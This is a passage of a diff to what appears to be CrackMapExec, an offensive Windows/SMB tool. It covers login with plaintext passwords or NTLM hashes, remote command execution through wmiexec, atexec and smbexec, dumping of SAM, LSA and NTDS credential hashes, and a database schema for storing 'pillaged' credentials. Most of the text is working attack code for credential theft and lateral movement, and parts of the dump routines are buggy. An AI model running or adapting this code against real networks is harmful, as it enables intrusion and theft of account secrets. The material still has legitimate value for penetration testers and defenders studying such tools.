egroup.add_argument("--shares", action="store_true", help="Enumerate shares and access")
|
||||||
|
egroup.add_argument('--uac', action='store_true', help='Checks UAC status')
|
||||||
|
egroup.add_argument("--sessions", action='store_true', help='Enumerate active sessions')
|
||||||
|
egroup.add_argument('--disks', action='store_true', help='Enumerate disks')
|
||||||
|
egroup.add_argument("--users", action='store_true', help='Enumerate local users')
|
||||||
|
egroup.add_argument("--groups", action='store_true', help='Enumerate local groups')
|
||||||
|
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', help='Enumerate users by bruteforcing RID\'s (default: 4000)')
|
||||||
|
egroup.add_argument("--pass-pol", action='store_true', help='Dump password policy')
|
||||||
|
egroup.add_argument("--lusers", action='store_true', help='Enumerate logged on users')
|
||||||
|
egroup.add_argument("--wmi", metavar='QUERY', type=str, help='Issues the specified WMI query')
|
||||||
|
egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
|
||||||
|
|
||||||
|
sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
|
||||||
|
sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)')
|
||||||
|
sgroup.add_argument("--content", action='store_true', help='Enable file content searching')
|
||||||
|
sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='Directories to exclude from spidering')
|
||||||
|
segroup = sgroup.add_mutually_exclusive_group()
|
||||||
|
segroup.add_argument("--pattern", nargs='+', help='Pattern(s) to search for in folders, filenames and file content')
|
||||||
|
segroup.add_argument("--regex", nargs='+', help='Regex(s) to search for in folders, filenames and file content')
|
||||||
|
sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)')
|
||||||
|
|
||||||
|
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||||
|
cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
|
||||||
|
cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process')
|
||||||
|
cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output')
|
||||||
|
cegroup = cgroup.add_mutually_exclusive_group()
|
||||||
|
cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command")
|
||||||
|
cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command')
|
||||||
|
|
||||||
|
return parser
|
||||||
|
|
||||||
|
def proto_logger(self):
|
||||||
|
self.logger = CMEAdapter(extra={
|
||||||
|
'protocol': 'SMB',
|
||||||
|
'host': self.host,
|
||||||
|
'port': self.args.smb_port,
|
||||||
|
'hostname': u'{}'.format(self.hostname)
|
||||||
|
})
|
||||||
|
|
||||||
|
def enum_host_info(self):
|
||||||
|
#Get the remote ip address (in case the target is a hostname)
|
||||||
|
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||||
|
remote_ip = self.conn.getRemoteHost()
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.conn.login('' , '')
|
||||||
|
except SessionError as e:
|
||||||
|
if "STATUS_ACCESS_DENIED" in e.message:
|
||||||
|
pass
|
||||||
|
|
||||||
|
self.host = remote_ip
|
||||||
|
self.domain = self.conn.getServerDomain()
|
||||||
|
self.hostname = self.conn.getServerName()
|
||||||
|
self.server_os = self.conn.getServerOS()
|
||||||
|
|
||||||
|
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||||
|
|
||||||
|
if not self.domain:
|
||||||
|
self.domain = self.hostname
|
||||||
|
|
||||||
|
self.db.add_host(self.host, self.hostname, self.domain, self.server_os)
|
||||||
|
|
||||||
|
try:
|
||||||
|
'''
|
||||||
|
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
|
||||||
|
(go home Windows, you're drunk)
|
||||||
|
'''
|
||||||
|
self.conn.logoff()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if self.args.domain:
|
||||||
|
self.domain = self.args.domain
|
||||||
|
|
||||||
|
if self.args.local_auth:
|
||||||
|
self.domain = self.hostname
|
||||||
|
|
||||||
|
#Re-connect since we logged off
|
||||||
|
self.create_conn_obj()
|
||||||
|
|
||||||
|
def print_host_info(self):
|
||||||
|
self.logger.info(u"{} (name:{}) (domain:{})".format(
|
||||||
|
self.server_os,
|
||||||
|
self.hostname.decode('utf-8'),
|
||||||
|
self.domain.decode('utf-8')
|
||||||
|
))
|
||||||
|
def plaintext_login(self, domain, username, password):
|
||||||
|
try:
|
||||||
|
self.conn.login(username, password, domain)
|
||||||
|
|
||||||
|
self.password = password
|
||||||
|
self.username = username
|
||||||
|
self.domain = domain
|
||||||
|
self.check_if_admin()
|
||||||
|
self.db.add_credential('plaintext', domain, username, password)
|
||||||
|
|
||||||
|
if self.admin_privs:
|
||||||
|
self.db.link_cred_to_host('plaintext', domain, username, password, self.host)
|
||||||
|
|
||||||
|
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
|
||||||
|
username.decode('utf-8'),
|
||||||
|
password.decode('utf-8'),
|
||||||
|
highlight('(Pwn3d!)') if self.admin_privs else '')
|
||||||
|
|
||||||
|
self.logger.success(out)
|
||||||
|
return True
|
||||||
|
except SessionError as e:
|
||||||
|
error, desc = e.getErrorString()
|
||||||
|
self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'),
|
||||||
|
username.decode('utf-8'),
|
||||||
|
password.decode('utf-8'),
|
||||||
|
error,
|
||||||
|
'({})'.format(desc) if self.args.verbose else ''))
|
||||||
|
|
||||||
|
if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def hash_login(self, domain, username, ntlm_hash):
|
||||||
|
lmhash = ''
|
||||||
|
nthash = ''
|
||||||
|
|
||||||
|
#This checks to see if we didn't provide the LM Hash
|
||||||
|
if ntlm_hash.find(':') != -1:
|
||||||
|
lmhash, nthash = ntlm_hash.split(':')
|
||||||
|
else:
|
||||||
|
nthash = ntlm_hash
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.conn.login(username, '', domain, lmhash, nthash)
|
||||||
|
|
||||||
|
self.hash = ntlm_hash
|
||||||
|
self.username = username
|
||||||
|
self.domain = domain
|
||||||
|
self.check_if_admin()
|
||||||
|
self.db.add_credential('hash', domain, username, ntlm_hash)
|
||||||
|
|
||||||
|
if self.admin_privs:
|
||||||
|
self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)
|
||||||
|
|
||||||
|
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
|
||||||
|
username.decode('utf-8'),
|
||||||
|
ntlm_hash,
|
||||||
|
highlight('(Pwn3d!)') if self.admin_privs else '')
|
||||||
|
|
||||||
|
self.logger.success(out)
|
||||||
|
return True
|
||||||
|
except SessionError as e:
|
||||||
|
error, desc = e.getErrorString()
|
||||||
|
self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
|
||||||
|
username.decode('utf-8'),
|
||||||
|
ntlm_hash,
|
||||||
|
error,
|
||||||
|
'({})'.format(desc) if self.args.verbose else ''))
|
||||||
|
|
||||||
|
if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def create_conn_obj(self):
|
||||||
|
try:
|
||||||
|
self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)
|
||||||
|
except socket.error:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def check_if_admin(self):
|
||||||
|
lmhash = ''
|
||||||
|
nthash = ''
|
||||||
|
|
||||||
|
if self.hash:
|
||||||
|
if self.hash.find(':') != -1:
|
||||||
|
lmhash, nthash = self.hash.split(':')
|
||||||
|
else:
|
||||||
|
nthash = self.hash
|
||||||
|
|
||||||
|
self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash)
|
||||||
|
|
||||||
|
@requires_admin
|
||||||
|
def execute(self, payload=None, get_output=False, methods=None):
|
||||||
|
|
||||||
|
if self.args.exec_method: methods = [self.args.exec_method]
|
||||||
|
if not methods : methods = ['wmiexec', 'atexec', 'smbexec']
|
||||||
|
|
||||||
|
if not payload and self.args.execute:
|
||||||
|
payload = self.args.execute
|
||||||
|
if not self.args.no_output: get_output = True
|
||||||
|
|
||||||
|
for method in methods:
|
||||||
|
|
||||||
|
if method == 'wmiexec':
|
||||||
|
try:
|
||||||
|
exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
|
||||||
|
logging.debug('Executed command via wmiexec')
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
logging.debug('Error executing command via wmiexec, traceback:')
|
||||||
|
logging.debug(format_exc())
|
||||||
|
continue
|
||||||
|
|
||||||
|
elif method == 'atexec':
|
||||||
|
try:
|
||||||
|
exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
|
||||||
|
logging.debug('Executed command via atexec')
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
logging.debug('Error executing command via atexec, traceback:')
|
||||||
|
logging.debug(format_exc())
|
||||||
|
continue
|
||||||
|
|
||||||
|
elif method == 'smbexec':
|
||||||
|
try:
|
||||||
|
exec_method = SMBEXEC(self.host, self.smb_share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
|
||||||
|
logging.debug('Executed command via smbexec')
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
logging.debug('Error executing command via smbexec, traceback:')
|
||||||
|
logging.debug(format_exc())
|
||||||
|
continue
|
||||||
|
|
||||||
|
if hasattr(self, 'server'): self.server.track_host(self.host)
|
||||||
|
|
||||||
|
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
|
||||||
|
|
||||||
|
if self.args.execute or self.args.ps_execute:
|
||||||
|
self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
|
||||||
|
buf = StringIO(output).readlines()
|
||||||
|
for line in buf:
|
||||||
|
self.logger.highlight(line.strip())
|
||||||
|
|
||||||
|
return output
|
||||||
|
|
||||||
|
@requires_admin
|
||||||
|
def ps_execute(self, payload=None, get_output=False, methods=None):
|
||||||
|
if not payload and self.args.ps_execute:
|
||||||
|
payload = self.args.ps_execute
|
||||||
|
if not self.args.no_output: get_output = True
|
||||||
|
|
||||||
|
return self.execute(create_ps_command(payload), get_output, methods)
|
||||||
|
|
||||||
|
def shares(self):
|
||||||
|
temp_dir = ntpath.normpath("\\" + gen_random_string())
|
||||||
|
#hostid,_,_,_,_,_,_ = self.db.get_hosts(filterTerm=self.host)[0]
|
||||||
|
permissions = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
for share in self.conn.listShares():
|
||||||
|
share_name = share['shi1_netname'][:-1]
|
||||||
|
share_remark = share['shi1_remark'][:-1]
|
||||||
|
share_info = {'name': share_name, 'remark': share_remark, 'access': []}
|
||||||
|
read = False
|
||||||
|
write = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.conn.listPath(share_name, '*')
|
||||||
|
read = True
|
||||||
|
share_info['access'].append('READ')
|
||||||
|
except SessionError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.conn.createDirectory(share_name, temp_dir)
|
||||||
|
self.conn.deleteDirectory(share_name, temp_dir)
|
||||||
|
write = True
|
||||||
|
share_info['access'].append('WRITE')
|
||||||
|
except SessionError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
permissions.append(share_info)
|
||||||
|
#self.db.add_share(hostid, share_name, share_remark, read, write)
|
||||||
|
|
||||||
|
print permissions
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error('Error enumerating shares: {}'.format(e))
|
||||||
|
|
||||||
|
#@requires_admin
|
||||||
|
#def uac(self):
|
||||||
|
# return UAC(self).enum()
|
||||||
|
|
||||||
|
def sessions(self):
|
||||||
|
sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
|
||||||
|
print sessions
|
||||||
|
|
||||||
|
def disks(self):
|
||||||
|
disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
|
||||||
|
print disks
|
||||||
|
|
||||||
|
def groups(self):
|
||||||
|
groups = get_netlocalgroup(self.host, None, self.domain, self.username, self.password, self.lmhash, self.nthash, queried_groupname='', list_groups=True, recurse=False)
|
||||||
|
print groups
|
||||||
|
|
||||||
|
#def users(self):
|
||||||
|
# return SAMRDump(self).enum()
|
||||||
|
|
||||||
|
#def rid_brute(self):
|
||||||
|
# return LSALookupSid(self).brute_force()
|
||||||
|
|
||||||
|
#def pass_pol(self):
|
||||||
|
# return PassPolDump(self).enum()
|
||||||
|
|
||||||
|
def lusers(self):
|
||||||
|
lusers = get_netloggedon(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
|
||||||
|
print lusers
|
||||||
|
|
||||||
|
#@requires_admin
|
||||||
|
#def wmi(self, wmi_query=None, wmi_namespace='//./root/cimv2'):
|
||||||
|
|
||||||
|
# if self.args.wmi_namespace:
|
||||||
|
# wmi_namespace = self.args.wmi_namespace
|
||||||
|
|
||||||
|
# if not wmi_query and self.args.wmi:
|
||||||
|
# wmi_query = self.args.wmi
|
||||||
|
|
||||||
|
# return WMIQUERY(self).query(wmi_query, wmi_namespace)
|
||||||
|
|
||||||
|
#def spider(self):
|
||||||
|
# spider = SMBSpider(self)
|
||||||
|
# spider.spider(self.args.spider, self.args.depth)
|
||||||
|
# spider.finish()
|
||||||
|
|
||||||
|
# return spider.results
|
||||||
|
|
||||||
|
def enable_remoteops(self):
|
||||||
|
if self.remote_ops is not None and self.bootkey is not None:
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.remote_ops = RemoteOperations(self.conn, False, None) #self.__doKerberos, self.__kdcHost
|
||||||
|
self.remote_ops.enableRegistry()
|
||||||
|
self.bootkey = self.remote_ops.getBootKey()
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error('RemoteOperations failed: {}'.format(e))
|
||||||
|
|
||||||
|
@requires_admin
|
||||||
|
def sam(self):
|
||||||
|
self.enable_remoteops()
|
||||||
|
|
||||||
|
if self.remote_ops and self.bootkey:
|
||||||
|
try:
|
||||||
|
SAMFileName = self.remote_ops.saveSAM()
|
||||||
|
SAMHashes = SAMHashes(SAMFileName, self.bootkey, isRemote=True)
|
||||||
|
|
||||||
|
self.logger.success('Dumping SAM hashes')
|
||||||
|
SAMHashes.dump()
|
||||||
|
SAMHashes.export(self.output_filename)
|
||||||
|
|
||||||
|
sam_hashes = 0
|
||||||
|
with open(self.output_filename + '.sam' , 'r') as sam_file:
|
||||||
|
for sam_hash in sam_file:
|
||||||
|
#parse this shizzle here
|
||||||
|
ntlm_hash = ''
|
||||||
|
self.db.add_credential('hash', self.domain, self.username, ntlm_hash, pillaged_from=self.host, local=True)
|
||||||
|
sam_hashes += 1
|
||||||
|
self.logger.success('Added {} SAM hashes to the database'.format(highlight(sam_hashes)))
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error('SAM hashes extraction failed: {}'.format(e))
|
||||||
|
|
||||||
|
self.remote_ops.finish()
|
||||||
|
SAMHashes.finish()
|
||||||
|
|
||||||
|
@requires_admin
|
||||||
|
def lsa(self):
|
||||||
|
self.enable_remoteops()
|
||||||
|
|
||||||
|
if self.remote_ops and self.bootkey:
|
||||||
|
try:
|
||||||
|
SECURITYFileName = self.remote_ops.saveSECURITY()
|
||||||
|
|
||||||
|
LSASecrets = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True)
|
||||||
|
|
||||||
|
self.logger.success('Dumping LSA secrets')
|
||||||
|
LSASecrets.dumpCachedHashes()
|
||||||
|
LSASecrets.exportCached(self.output_filename)
|
||||||
|
LSASecrets.dumpSecrets()
|
||||||
|
LSASecrets.exportSecrets(self.output_filename)
|
||||||
|
|
||||||
|
secrets = 0
|
||||||
|
with open(self.output_filename + '.lsa' , 'r') as lsa_file:
|
||||||
|
for secret in lsa_file:
|
||||||
|
#parse this shizzle here
|
||||||
|
self.db.add_credential('lsa', self.domain, self.username, secret, pillaged_from=self.host, local=True)
|
||||||
|
secrets += 1
|
||||||
|
self.logger.success('Added {} LSA secrets to the database'.format(highlight(secrets)))
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error('LSA hashes extraction failed: {}'.format(e))
|
||||||
|
|
||||||
|
self.remote_ops.finish()
|
||||||
|
LSASecrets.finish()
|
||||||
|
|
||||||
|
@requires_admin
|
||||||
|
def ntds(self):
|
||||||
|
self.enable_remoteops()
|
||||||
|
|
||||||
|
if self.remote_ops and self.bootkey:
|
||||||
|
try:
|
||||||
|
NTDSFileName = self.remote_ops.saveNTDS()
|
||||||
|
|
||||||
|
NTDSHashes = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=self.__history,
|
||||||
|
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
|
||||||
|
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
|
||||||
|
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
|
||||||
|
outputFileName=self.__outputFileName, justUser=self.__justUser,
|
||||||
|
printUserStatus= self.__printUserStatus)
|
||||||
|
|
||||||
|
logging.success('Dumping the NTDS, this could take a while so go grab a redbull...')
|
||||||
|
NTDSHashes.dump()
|
||||||
|
|
||||||
|
ntds_hashes = 0
|
||||||
|
with open(self.output_filename + '.ntds' , 'r') as ntds_file:
|
||||||
|
for ntds_hash in ntds_file:
|
||||||
|
#parse this shizzle here
|
||||||
|
self.db.add_ntds_hash(hostid, self.domain, self.username, ntds_hash)
|
||||||
|
ntds_hash += 1
|
||||||
|
self.logger.success('Added {} NTDS hashes to the database'.format(highlight(ntds_hashes)))
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||||
|
# We don't store the resume file if this error happened, since this error is related to lack
|
||||||
|
# of enough privileges to access DRSUAPI.
|
||||||
|
resumeFile = NTDSHashes.getResumeSessionFile()
|
||||||
|
if resumeFile is not None:
|
||||||
|
os.unlink(resumeFile)
|
||||||
|
self.logger.error(e)
|
||||||
|
if self.args.ntds is not 'drsuapi':
|
||||||
|
self.logger.error('Something wen\'t wrong with the DRSUAPI approach. Try again with --ntds vss')
|
||||||
|
|
||||||
|
self.remote_ops.finish()
|
||||||
|
NTDSHashes.finish()
|
||||||
|
|
||||||
|
#@requires_admin
|
||||||
|
#def wdigest(self):
|
||||||
|
# return getattr(WDIGEST(self), self.args.wdigest)()
|
|
@ -2,7 +2,7 @@ import os
|
||||||
import logging
|
import logging
|
||||||
from impacket.dcerpc.v5 import tsch, transport
|
from impacket.dcerpc.v5 import tsch, transport
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
from cme.helpers import gen_random_string
|
from cme.helpers.misc import gen_random_string
|
||||||
from gevent import sleep
|
from gevent import sleep
|
||||||
|
|
||||||
class TSCH_EXEC:
|
class TSCH_EXEC:
|
||||||
|
@ -101,7 +101,7 @@ class TSCH_EXEC:
|
||||||
argument_xml = " <Arguments>/C {} > \\\\{}\\{}\\{} 2>&1</Arguments>".format(command, local_ip, self.__share_name, tmpFileName)
|
argument_xml = " <Arguments>/C {} > \\\\{}\\{}\\{} 2>&1</Arguments>".format(command, local_ip, self.__share_name, tmpFileName)
|
||||||
else:
|
else:
|
||||||
argument_xml = " <Arguments>/C {} > %windir%\\Temp\\{} 2>&1</Arguments>".format(command, tmpFileName)
|
argument_xml = " <Arguments>/C {} > %windir%\\Temp\\{} 2>&1</Arguments>".format(command, tmpFileName)
|
||||||
|
|
||||||
elif self.__retOutput is False:
|
elif self.__retOutput is False:
|
||||||
argument_xml = " <Arguments>/C {}</Arguments>".format(command)
|
argument_xml = " <Arguments>/C {}</Arguments>".format(command)
|
||||||
|
|
||||||
|
@ -180,4 +180,4 @@ class TSCH_EXEC:
|
||||||
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
||||||
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
||||||
|
|
||||||
dce.disconnect()
|
dce.disconnect()
|
|
@ -0,0 +1,350 @@
|
||||||
|
class database:
|
||||||
|
|
||||||
|
def __init__(self, conn):
|
||||||
|
self.conn = conn
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def db_schema(db_conn):
|
||||||
|
db_conn.execute('''CREATE TABLE "computers" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"ip" text,
|
||||||
|
"hostname" text,
|
||||||
|
"domain" text,
|
||||||
|
"os" text,
|
||||||
|
"dc" boolean
|
||||||
|
)''')
|
||||||
|
|
||||||
|
# type = hash, plaintext
|
||||||
|
db_conn.execute('''CREATE TABLE "credentials" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"userid", integer,
|
||||||
|
"credtype" text,
|
||||||
|
"password" text,
|
||||||
|
"pillaged_from_computerid" integer,
|
||||||
|
FOREIGN KEY(userid) REFERENCES users(id),
|
||||||
|
FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id)
|
||||||
|
)''')
|
||||||
|
|
||||||
|
db_conn.execute('''CREATE TABLE "users" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"domain" text,
|
||||||
|
"username" text,
|
||||||
|
"local" boolean,
|
||||||
|
)''')
|
||||||
|
|
||||||
|
db_conn.execute('''CREATE TABLE "groups" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"domain" text,
|
||||||
|
"name" text
|
||||||
|
)''')
|
||||||
|
|
||||||
|
db_conn.execute('''CREATE TABLE "ntds_dumps" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"computerid", integer,
|
||||||
|
"domain" text,
|
||||||
|
"username" text,
|
||||||
|
"hash" text,
|
||||||
|
FOREIGN KEY(computerid) REFERENCES computers(id)
|
||||||
|
)''')
|
||||||
|
|
||||||
|
#This table keeps track of which credential has admin access over which machine and vice-versa
|
||||||
|
db_conn.execute('''CREATE TABLE "admin_relations" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"userid" integer,
|
||||||
|
"computerid" integer,
|
||||||
|
FOREIGN KEY(userid) REFERENCES users(id),
|
||||||
|
FOREIGN KEY(computerid) REFERENCES computers(id)
|
||||||
|
)''')
|
||||||
|
|
||||||
|
db_conn.execute('''CREATE TABLE "loggedin_relations" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"userid" integer,
|
||||||
|
"computerid" integer,
|
||||||
|
FOREIGN KEY(userid) REFERENCES users(id),
|
||||||
|
FOREIGN KEY(computerid) REFERENCES computers(id)
|
||||||
|
)''')
|
||||||
|
|
||||||
|
db_conn.execute('''CREATE TABLE "group_relations" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"userid" integer,
|
||||||
|
"groupid" integer,
|
||||||
|
FOREIGN KEY(userid) REFERENCES users(id),
|
||||||
|
FOREIGN KEY(groupid) REFERENCES groups(id)
|
||||||
|
)''')
|
||||||
|
|
||||||
|
#db_conn.execute('''CREATE TABLE "shares" (
|
||||||
|
# "id" integer PRIMARY KEY,
|
||||||
|
# "hostid" integer,
|
||||||
|
# "name" text,
|
||||||
|
# "remark" text,
|
||||||
|
# "read" boolean,
|
||||||
|
# "write" boolean
|
||||||
|
# )''')
|
||||||
|
|
||||||
|
#def add_share(self, hostid, name, remark, read, write):
|
||||||
|
# cur = self.conn.cursor()
|
||||||
|
|
||||||
|
# cur.execute("INSERT INTO shares (hostid, name, remark, read, write) VALUES (?,?,?,?,?)", [hostid, name, remark, read, write])
|
||||||
|
|
||||||
|
# cur.close()
|
||||||
|
|
||||||
|
def add_host(self, ip, hostname, domain, os, dc=False):
|
||||||
|
"""
|
||||||
|
Check if this host has already been added to the database, if not add it in.
|
||||||
|
"""
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip])
|
||||||
|
results = cur.fetchall()
|
||||||
|
|
||||||
|
if not len(results):
|
||||||
|
cur.execute("INSERT INTO computers (ip, hostname, domain, os, dc) VALUES (?,?,?,?,?)", [ip, hostname, domain, os, dc])
|
||||||
|
|
||||||
|
cur.close()
|
||||||
|
|
||||||
|
def add_credential(self, credtype, domain, username, password, pillaged_from='NULL', local=False, userID=None):
|
||||||
|
"""
|
||||||
|
Check if this credential has already been added to the database, if not add it in.
|
||||||
|
"""
|
||||||
|
self.add_user(domain, username, local)
|
||||||
|
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND local=?", [domain, username, local])
|
||||||
|
results = cur.fetchall()
|
||||||
|
for user in results:
|
||||||
|
userid = user[0]
|
||||||
|
cur.execute("SELECT * from credentials WHERE userid=? AND credtype=? AND password=?", [userid, credtype, password])
|
||||||
|
results=cur.fetchall()
|
||||||
|
if not len(results):
|
||||||
|
cur.execute("INSERT INTO credentials (userid, credtype, password, pillaged_from_computerid) VALUES (?,?,?,?)", [userid, credtype, password, pillaged_from] )
|
||||||
|
|
||||||
|
cur.close()
|
||||||
|
|
||||||
|
def add_user(self, domain, username, local=False):
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) and LOWER(username)=LOWER(?) and local=(?)", [domain, username, local])
|
||||||
|
results = cur.fetchall()
|
||||||
|
|
||||||
|
if not len(results):
|
||||||
|
cur.execute("INSERT INTO users (domain, username, local) VALUES (?,?,?)", [domain, username, local])
|
||||||
|
|
||||||
|
cur.close()
|
||||||
|
|
||||||
|
def add_group(self, domain, name):
|
||||||
|
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
cur.execute("SELECT * FROM groups WHERE LOWER(domain)=LOWER(?) AND LOWER(name)=LOWER(?)", [domain, name])
|
||||||
|
results = cur.fetchall()
|
||||||
|
|
||||||
|
if not len(results):
|
||||||
|
cur.execute("INSERT INTO groups (domain, name) VALUES (?,?)", [domain, name])
|
||||||
|
|
||||||
|
cur.close()
|
||||||
|
|
||||||
|
def add_ntds_hash(self, hostid, domain, username, hash):
|
||||||
|
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
cur.execute("INSERT INTO ntds (dcid, domain, username, hash) VALUES (?,?,?,?)", [hostid, domain, username, hash])
|
||||||
|
|
||||||
|
cur.close()
|
||||||
|
|
||||||
|
def remove_credentials(self, credIDs):
|
||||||
|
"""
|
||||||
|
Removes a credential ID from the database
|
||||||
|
"""
|
||||||
|
for credID in credIDs:
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
cur.execute("DELETE FROM credentials WHERE id=?", [credID])
|
||||||
|
cur.close()
|
||||||
|
|
||||||
|
def add_admin_user(self, userid, host):
|
||||||
|
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
cur.execute("SELECT * FROM users WHERE userid=?", [userid])
|
||||||
|
users = cur.fetchall()
|
||||||
|
|
||||||
|
cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [host])
|
||||||
|
hosts = cur.fetchall()
|
||||||
|
|
||||||
|
if len(users) and len(hosts):
|
||||||
|
for user, host in zip(users, hosts):
|
||||||
|
userid = user[0]
|
||||||
|
hostid = host[0]
|
||||||
|
|
||||||
|
#Check to see if we already added this link
|
||||||
|
cur.execute("SELECT * FROM admin_relations WHERE userid=? AND computerid=?", [userid, hostid])
|
||||||
|
links = cur.fetchall()
|
||||||
|
|
||||||
|
if not len(links):
|
||||||
|
cur.execute("INSERT INTO admin_relations (userid, computerid) VALUES (?,?)", [userid, hostid])
|
||||||
|
|
||||||
|
cur.close()
|
||||||
|
|
||||||
|
def get_admin_relations(self, userID=None, hostID=None):
|
||||||
|
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
if userID:
|
||||||
|
cur.execute("SELECT * from admin_relations WHERE userid=?", [userID])
|
||||||
|
|
||||||
|
elif hostID:
|
||||||
|
cur.execute("SELECT * from admin_relations WHERE computerid=?", [hostID])
|
||||||
|
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
return results
|
||||||
|
|
||||||
|
def remove_admin_relation(self, userIDs=None, hostIDs=None):
|
||||||
|
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
if userIDs:
|
||||||
|
for userID in userIDs:
|
||||||
|
cur.execute("DELETE FROM admin_relations WHERE userid=?", [userID])
|
||||||
|
|
||||||
|
elif hostIDs:
|
||||||
|
for hostID in hostIDs:
|
||||||
|
cur.execute("DELETE FROM admin_relations WHERE hostid=?", [hostID])
|
||||||
|
|
||||||
|
cur.close()
|
||||||
|
|
||||||
|
def is_credential_valid(self, credentialID):
|
||||||
|
"""
|
||||||
|
Check if this credential ID is valid.
|
||||||
|
"""
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID])
|
